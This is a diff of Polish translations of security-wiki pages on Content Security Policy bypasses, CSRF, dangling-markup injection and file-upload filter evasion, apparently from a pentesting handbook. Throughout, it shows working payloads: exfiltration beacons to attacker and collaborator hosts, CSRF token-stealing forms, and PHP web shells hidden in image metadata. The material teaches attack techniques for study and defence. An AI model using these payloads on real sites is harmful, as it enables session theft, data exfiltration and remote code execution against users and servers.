Jednak końcowy `http://localhost:5555/301` będzie **przekierowywany po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co omija ograniczenie ścieżki.
Jednakże, ostateczne `http://localhost:5555/301` będzie **przekierowywane po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co omija ograniczenie ścieżki.
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest całkowicie określona, nadal będzie omijana.
Dlatego najlepszym rozwiązaniem jest upewnienie się, że strona internetowa nie ma żadnych luk w przekierowaniach oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.
### Ominięcie CSP z wiszącym znacznikiem
### Ominięcie CSP z użyciem wiszącego markup
Przeczytaj [jak tutaj](../dangling-markup-html-scriptless-injection/).
Przeczytaj [jak tutaj](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; przez XSS
```
@ -444,7 +444,7 @@ fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%2
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
Z: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Możesz również nadużyć tej konfiguracji, aby **załadować kod javascript wstawiony w obraz**. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz **stworzyć** **specjalny obraz**, **przesłać** go na Twittera i nadużyć "**unsafe-inline**", aby **wykonać** kod JS (jak w przypadku zwykłego XSS), który **załaduje** **obraz**, **wyodrębni** **JS** z niego i **wykona** **go**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
@ -462,7 +462,7 @@ Funkcja **`importScripts`** w service workers nie jest ograniczona przez CSP:
#### Chrome
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, aby stała się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** z dowolnym z tych obejść:
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, że stanie się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** przy użyciu dowolnego z tych obejść:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -544,7 +544,7 @@ run()
Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na zakładkę przeglądarki**. Ta zakładka zawierałaby **złośliwy kod javascript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka czy tokeny.
Aby uzyskać więcej informacji [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
@ -556,8 +556,8 @@ Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**:
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **iniekcję HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\
CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** i **włączając konkretny skrypt inline za pomocą sha**:
W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **iniekcję HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerabilność stała się wykonalna.**\
CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** oraz **włączając konkretny skrypt inline za pomocą sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -581,11 +581,11 @@ document.querySelector("DIV").innerHTML =
- Tworzy się `iframe`, który wskazuje na URL (nazwijmy go `https://example.redirect.com`), który jest dozwolony przez CSP.
- Ten URL następnie przekierowuje do tajnego URL (np. `https://usersecret.example2.com`), który jest **niedozwolony** przez CSP.
- Słuchając zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, na którą przekierowano początkowy URL.
- Słuchając zdarzenia `securitypolicyviolation`, można przechwycić właściwość `blockedURI`. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której początkowy URL przekierował.
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.
Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnego subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo zablokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby zablokować lub zezwolić na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnej subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo blokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby blokować lub zezwalać na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -593,7 +593,7 @@ Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zaw
Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawniać wrażliwe informacje.
Trick z [**tutaj**](https://ctftime.org/writeup/29310).
Trik z [**tutaj**](https://ctftime.org/writeup/29310).
## Niebezpieczne technologie do obejścia CSP
@ -619,15 +619,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME to technika, która wykorzystuje XSS (lub mocno ograniczone XSS) **w punkcie końcowym strony** do **wykorzystania** **innych punktów końcowych tej samej domeny.** Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego, który chcesz wykorzystać. Aby uzyskać więcej informacji, sprawdź:
SOME to technika, która wykorzystuje XSS (lub bardzo ograniczone XSS) **w punkcie końcowym strony** do **wykorzystania** **innych punktów końcowych tej samej domeny.** Dzieje się to poprzez załadowanie podatnego punktu końcowego z strony atakującego, a następnie odświeżenie strony atakującego do rzeczywistego punktu końcowego w tej samej domenie, który chcesz wykorzystać. W ten sposób **podatny punkt końcowy** może użyć obiektu **`opener`** w **ładunku** do **dostępu do DOM** rzeczywistego punktu końcowego, który chcesz wykorzystać. Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Ponadto, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedli** **dane** wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
Ponadto, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedla** **dane** wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
Atakujący może wykorzystać ten punkt końcowy do **wygenerowania ataku SOME** przeciwko WordPressowi i **osadzić** go w `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **omija CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\
Atakujący może wykorzystać ten punkt końcowy do **wygenerowania ataku SOME** przeciwko WordPressowi i **osadzić** go w `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **obejmuje CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\
Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
@ -680,7 +680,7 @@ X-DNS-Prefetch-Control: off
Na kilku stronach można przeczytać, że **WebRTC nie sprawdza polityki `connect-src`** CSP.
W rzeczywistości możesz _wyciek_ informacji za pomocą _żądania DNS_. Sprawdź ten kod:
W rzeczywistości można _wyciek_ informacji za pomocą _żądania DNS_. Sprawdź ten kod:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

View File

@ -4,7 +4,7 @@
## Wyjaśnienie Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** to rodzaj luki w zabezpieczeniach występującej w aplikacjach internetowych. Umożliwia ona atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
**Cross-Site Request Forgery (CSRF)** to rodzaj luki w zabezpieczeniach występującej w aplikacjach internetowych. Umożliwia atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
### Wymagania wstępne do ataku CSRF
@ -24,18 +24,18 @@ Możesz **przechwycić żądanie w Burp** i sprawdzić zabezpieczenia CSRF, a ab
Można wdrożyć kilka środków zaradczych, aby chronić przed atakami CSRF:
- [**Ciasteczka SameSite**](hacking-with-cookies/index.html#samesite): Atrybut ten zapobiega przeglądarce wysyłaniu ciasteczek wraz z żądaniami między witrynami. [Więcej o ciasteczkach SameSite](hacking-with-cookies/index.html#samesite).
- [**Ciasteczka SameSite**](hacking-with-cookies/index.html#samesite): Atrybut ten zapobiega przeglądarce w wysyłaniu ciasteczek wraz z żądaniami między witrynami. [Więcej o ciasteczkach SameSite](hacking-with-cookies/index.html#samesite).
- [**Udostępnianie zasobów między źródłami**](cors-bypass.md): Polityka CORS witryny ofiary może wpływać na wykonalność ataku, szczególnie jeśli atak wymaga odczytania odpowiedzi z witryny ofiary. [Dowiedz się o obejściu CORS](cors-bypass.md).
- **Weryfikacja użytkownika**: Prośba o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc zapewnić, że żądania pochodzą z zaufanych źródeł. Jednak staranne konstruowanie adresów URL może obejść źle wdrożone kontrole, takie jak:
- Użycie `http://mal.net?orig=http://example.com` (adres URL kończy się zaufanym adresem URL)
- Użycie `http://example.com.mal.net` (adres URL zaczyna się zaufanym adresem URL)
- **Modyfikacja nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu automatycznym atakom.
- **Tokeny CSRF**: Wprowadzenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach może znacznie zmniejszyć ryzyko CSRF. Skuteczność tokena można zwiększyć poprzez egzekwowanie CORS.
- **Tokeny CSRF**: Włączenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach może znacznie zmniejszyć ryzyko CSRF. Skuteczność tokena można zwiększyć, egzekwując CORS.
Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
## Obejście zabezpieczeń
## Obejścia zabezpieczeń
### Z POST do GET
@ -69,12 +69,12 @@ Może to również działać, wysyłając **parametr \_method wewnątrz żądani
### Obejście tokena nagłówka niestandardowego
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** jako **metodą ochrony CSRF**, to:
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metodę ochrony CSRF**, to:
- Przetestuj żądanie bez **Niestandardowego Tokena i nagłówka.**
- Przetestuj żądanie z dokładnie **tą samą długością, ale innym tokenem**.
### Token CSRF jest weryfikowany przez ciasteczko
### Token CSRF weryfikowany przez ciasteczko
Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada wartości w ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania odpowiada wartości w ciasteczku.
@ -107,7 +107,7 @@ onerror="document.forms[0].submit();" />
### Zmiana Content-Type
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć** żądań **preflight** przy użyciu metody **POST**, dozwolone wartości Content-Type to:
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć** żądań preflight przy użyciu metody **POST**, dozwolone wartości Content-Type to:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
@ -158,7 +158,7 @@ To zapewnia, że nagłówek 'Referer' jest pomijany, co może umożliwić omini
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Aby ustawić nazwę domeny serwera w URL, który Referrer ma wysłać w parametrach, możesz to zrobić:
Aby ustawić nazwę domeny serwera w URL, który Referrer ma wysłać w parametrach, możesz zrobić:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
@ -197,7 +197,7 @@ Dlatego, jeśli żądanie GET jest ograniczone, możesz po prostu **wysłać ż
### **Ekstrakcja tokena CSRF**
Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekstrahować go**, wykorzystując lukę [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub lukę [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekstrahować go**, wykorzystując lukę [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) lub lukę [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html).
### **GET przy użyciu tagów HTML**
```xml
@ -205,7 +205,7 @@ Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekst
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
Inne tagi HTML5, które mogą być używane do automatycznego wysyłania żądania GET to:
Inne tagi HTML5, które mogą być używane do automatycznego wysyłania żądania GET, to:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -472,7 +472,7 @@ style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **Kradzież tokena CSRF i wysłanie żądania POST za pomocą iframe i formularza**
### **Kradnij token CSRF i wyślij żądanie POST za pomocą iframe i formularza**
```html
<iframe
id="iframe"
@ -535,7 +535,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal token CSRF za pomocą Ajax i wyślij post z formularzem**
### **POSTZabierz token CSRF za pomocą Ajax i wyślij post za pomocą formularza**
```html
<body onload="getData()">
<form

View File

@ -4,10 +4,10 @@
## Resume
Ta technika może być używana do wyodrębniania informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS** ](../xss-cross-site-scripting/), ale możesz **wstrzyknąć kilka tagów HTML**.\
Jest to również przydatne, jeśli jakiś **sekret jest zapisany w czystym tekście** w HTML i chcesz go **wyekstrahować** z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.
Ta technika może być używana do wyodrębniania informacji od użytkownika, gdy **znaleziono wstrzyknięcie HTML**. Jest to bardzo przydatne, jeśli **nie znajdziesz sposobu na wykorzystanie** [**XSS** ](../xss-cross-site-scripting/index.html), ale możesz **wstrzyknąć kilka tagów HTML**.\
Jest to również przydatne, jeśli jakiś **sekret jest zapisany w czystym tekście** w HTML i chcesz go **wyeksfiltrować** z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.
Kilka technik omówionych tutaj może być używanych do obejścia niektórych [**Content Security Policy**](../content-security-policy-csp-bypass/) poprzez wyekstrahowanie informacji w nieoczekiwany sposób (tagi html, CSS, tagi meta http, formularze, base...).
Kilka technik omówionych tutaj może być używanych do obejścia niektórych [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) poprzez wyeksfiltrowanie informacji w nieoczekiwany sposób (tagi html, CSS, tagi meta http, formularze, base...).
## Main Applications
@ -32,7 +32,7 @@ Możesz również użyć **`<table`**:
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Możesz również wstawić tag `<base`. Wszystkie informacje będą wysyłane, dopóki cytat nie zostanie zamknięty, ale wymaga to interakcji ze strony użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmienił domenę wskazywaną przez link):
Możesz również wstawić tag `<base`. Wszystkie informacje będą wysyłane, aż do zamknięcia cudzysłowu, ale wymaga to interakcji ze strony użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmienił domenę wskazywaną przez link):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -65,7 +65,7 @@ Używając wspomnianej wcześniej techniki do kradzieży formularzy (wstrzykiwan
```html
<input type='hidden' name='review_body' value="
```
i to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Ten atak łączy "_**Kradzież tajemnic w czystym tekście**_" z "_**Kradzież forms2**_".
a to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Ten atak łączy "_**Kradzież tajemnic w czystym tekście**_" z "_**Kradzieżą forms2**_".
Możesz zrobić to samo, wstrzykując formularz i tag `<option>`. Wszystkie dane aż do znalezienia zamkniętego `</option>` zostaną wysłane:
```html
@ -96,13 +96,13 @@ Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzykni
```
### Ominięcie CSP z interakcją użytkownika
Z tego [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) możesz się dowiedzieć, że nawet z **najbardziej ograniczonych** środowisk CSP możesz nadal **ekstrahować dane** z pewną **interakcją użytkownika**. W tej okazji użyjemy ładunku:
Z tego [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) możesz się dowiedzieć, że nawet z **najbardziej ograniczonych** środowisk CSP można nadal **wyekstrahować dane** z pewną **interakcją użytkownika**. W tej okazji użyjemy ładunku:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Zauważ, że poprosisz **ofiarę** o **kliknięcie w link**, który **przekieruje** go do **ładunku** kontrolowanego przez ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** aż do następnego pojedynczego cudzysłowu.\
To spowoduje, że **wartość** **`window.name`** po kliknięciu w link będzie zawierać całą tę **treść HTML**. Dlatego, ponieważ **kontrolujesz stronę**, na którą ofiara wchodzi, klikając link, możesz uzyskać dostęp do **`window.name`** i **ekstrahować** te dane:
Zauważ, że poprosisz **ofiarę** o **kliknięcie w link**, który **przekieruje** do **ładunku** kontrolowanego przez ciebie. Zauważ również, że atrybut **`target`** wewnątrz tagu **`base`** będzie zawierał **treść HTML** aż do następnego pojedynczego cudzysłowu.\
To spowoduje, że **wartość** **`window.name`** po kliknięciu w link będzie zawierać całą tę **treść HTML**. Dlatego, ponieważ **kontrolujesz stronę**, na którą ofiara przechodzi, klikając link, możesz uzyskać dostęp do **`window.name`** i **ekstrahować** te dane:
```html
<script>
if(window.name) {
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
```
### Mylący przepływ skryptu 1 - Atak na przestrzeń nazw HTML
Wstaw nowy tag z identyfikatorem wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:
Wstaw nowy tag z id wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:
```html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
@ -150,7 +150,7 @@ Lub możesz nawet spróbować wykonać jakiś javascript:
```
### Wykorzystanie iframe
Dokument podrzędny ma możliwość przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w sytuacjach między źródłami. Umożliwia to osadzenie skryptu w **iframe**, który może przekierować klienta na dowolną stronę:
Dokument podrzędny ma możliwość przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w sytuacjach międzydomenowych. Umożliwia to osadzenie skryptu w **iframe**, który może przekierować klienta na dowolną stronę:
```html
<html>
<head></head>
@ -161,7 +161,7 @@ top.window.location = "https://attacker.com/hacked.html"
</body>
</html>
```
Można to złagodzić za pomocą czegoś takiego: `sandbox=' allow-scripts allow-top-navigation'`
Można to złagodzić za pomocą czegoś takiego jak: `sandbox=' allow-scripts allow-top-navigation'`
Iframe może być również nadużywany do wycieku wrażliwych informacji z innej strony **używając atrybutu nazwy iframe**. Dzieje się tak, ponieważ można stworzyć iframe, który iframe'uje siebie, nadużywając wstrzykiwania HTML, co sprawia, że **wrażliwe informacje pojawiają się wewnątrz atrybutu nazwy iframe**, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i ją wyciekować.
```html
@ -180,7 +180,7 @@ For more info check [https://portswigger.net/research/bypassing-csp-with-danglin
### \<meta abuse
Możesz użyć **`meta http-equiv`**, aby wykonać **kilka działań**, takich jak ustawienie ciasteczka: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub wykonanie przekierowania (w tym przypadku po 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Możesz użyć **`meta http-equiv`** do wykonania **kilku działań**, takich jak ustawienie ciasteczka: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub wykonanie przekierowania (w tym przypadku po 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Można to **uniknąć** za pomocą **CSP** dotyczącego **http-equiv** ( `Content-Security-Policy: default-src 'self';`, lub `Content-Security-Policy: http-equiv 'self';`)
@ -197,7 +197,7 @@ Nie wszystkie sposoby na wyciek łączności w HTML będą przydatne dla Danglin
## SS-Leaks
To jest **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony luka pozwala na **wstrzykiwanie HTML** (ale nie JS) na stronę o **tej samej domenie**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na którą możemy wstrzyknąć HTML, ale **inną stronę**.
To jest **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony podatność pozwala na **wstrzykiwanie HTML** (ale nie JS) na stronę o **tej samej domenie**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na którą możemy wstrzyknąć HTML, ale **inną stronę**.
{{#ref}}
ss-leaks.md

View File

@ -61,17 +61,17 @@ AAA<--SNIP 232 A-->AAA.php.png
### Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
- Omiń sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
- Omiń **sprawdzanie Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Omiń sprawdzanie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zdezorientuj polecenie _file_). Lub wprowadź powłokę wewnątrz **metadanych**:\
- Omiń **sprawdzanie magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zdezorientuj polecenie _file_). Lub wprowadź powłokę wewnątrz **metadanych**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Jednak możesz użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Jednak możesz użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Inne sztuczki do sprawdzenia
@ -81,7 +81,7 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Możliwe ujawnienie informacji**:
1. Prześlij **wielokrotnie** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie**
2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje**
